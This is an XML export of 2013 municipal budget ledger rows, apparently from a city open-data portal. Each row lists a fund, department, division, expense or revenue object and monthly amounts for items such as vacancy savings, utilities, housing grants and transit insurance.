<row _id="2933"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>579000.0</object><object_description>COUNCIL DISCRETIONARY FUNDS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>-13312</april><may>0</may><june>0.0</june><total>-13312.0</total></row>
<row _id="2934"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UTIL-LIGHT/POWER-CITY YARD</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>58135.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>58135.0</total></row>
<row _id="2935"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>571150.0</object><object_description>S+C HAP NEW</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>312973.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-22492</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>290481.0</total></row>
<row _id="2936"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-41029.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-41029.0</total></row>
<row _id="2937"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-45575.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-45575.0</total></row>
<row _id="2938"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-36130.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-36130.0</total></row>
<row _id="2939"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-11039.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-11039.0</total></row>
<row _id="2940"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-95760.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-95760.0</total></row>
<row _id="2941"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-16073.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-16073.0</total></row>
<row _id="2942"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1187.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>119</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1306.0</total></row>
<row _id="2943"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>317.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>317.0</total></row>
<row _id="2944"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>510.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>510.0</total></row>
<row _id="2945"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>555218.0</object><object_description>COMMUNITY EMERGENCY RESP TEAM</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>23316.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>23316.0</total></row>
<row _id="2946"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511017.0</object><object_description>PERMANENT EMPLOY SWORN POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>243360.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>243360.0</total></row>
<row _id="2947"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE COMPLIANCE</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5359.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5359.0</total></row>
<row _id="2948"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>403720.0</object><object_description>SERIAL INEBRIATE GRANT ADMIN</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-31555.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-31555.0</total></row>
<row _id="2949"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562190.0</object><object_description> CLARE CLARITY FOR YOUTH</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>41239.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>41239.0</total></row>
<row _id="2950"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>375.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>375.0</total></row>
<row _id="2951"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>405351.0</object><object_description>PRIVATE HAULER ANN. PERMIT FEE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-25996.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-25996.0</total></row>
<row _id="2952"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>405352.0</object><object_description>PRIVATE HAULER PER TON PAYMENT</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-118500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-118500.0</total></row>
<row _id="2953"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>555396.0</object><object_description>10 UASI GRANT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>472.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>472.0</total></row>
<row _id="2954"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object>522549.0</object><object_description>ADVERTISING PAYMENTS (CCB)</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>105000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>105000.0</total></row>
<row _id="2955"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2243.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2243.0</total></row>
<row _id="2956"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>274.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>274.0</total></row>
<row _id="2957"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-14788.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>512</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-14276.0</total></row>
<row _id="2958"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-1681.0</july><august>-315</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-1729</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-3725.0</total></row>
<row _id="2959"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>544460.0</object><object_description>HOMELESS COUNT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4018.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4018.0</total></row>
<row _id="2960"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409023.0</object><object_description>ENRICHMENT-SPRING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-86408.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-86408.0</total></row>
<row _id="2961"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>555430.0</object><object_description>WASTE DISPOSAL (BRINING)</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>650000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>650000.0</total></row>
<row _id="2962"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>402800.0</object><object_description>NAME PLATES / BENCHES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-16500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-16500.0</total></row>
<row _id="2963"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>556160.0</object><object_description>SOLD URNS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>8500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8500.0</total></row>
<row _id="2964"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>15387.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>154</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15541.0</total></row>
<row _id="2965"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3894.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3894.0</total></row>
<row _id="2966"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>322090.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>322090.0</total></row>
<row _id="2967"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>533040.0</object><object_description>SPECIAL INSURANCE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>18153.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>18153.0</total></row>
<row _id="2968"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400884.0</object><object_description>SPC HAP EXPANSION</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-245292.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-245292.0</total></row>
<row _id="2969"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>14670.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-7956</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6714.0</total></row>
<row _id="2970"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>SECTION 8 PORT IN ADMIN</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-23000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-23000.0</total></row>
<row _id="2971"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2623.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2623.0</total></row>
<row _id="2972"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="2973"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>316</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>316.0</total></row>
<row _id="2974"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>480.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>480.0</total></row>
<row _id="2975"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="2976"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5916.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5916.0</total></row>
<row _id="2977"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>902.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>11100</may><june>0.0</june><total>12002.0</total></row>
<row _id="2978"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>246345.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>2463</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>248808.0</total></row>
<row _id="2979"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>22900.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>22900.0</total></row>
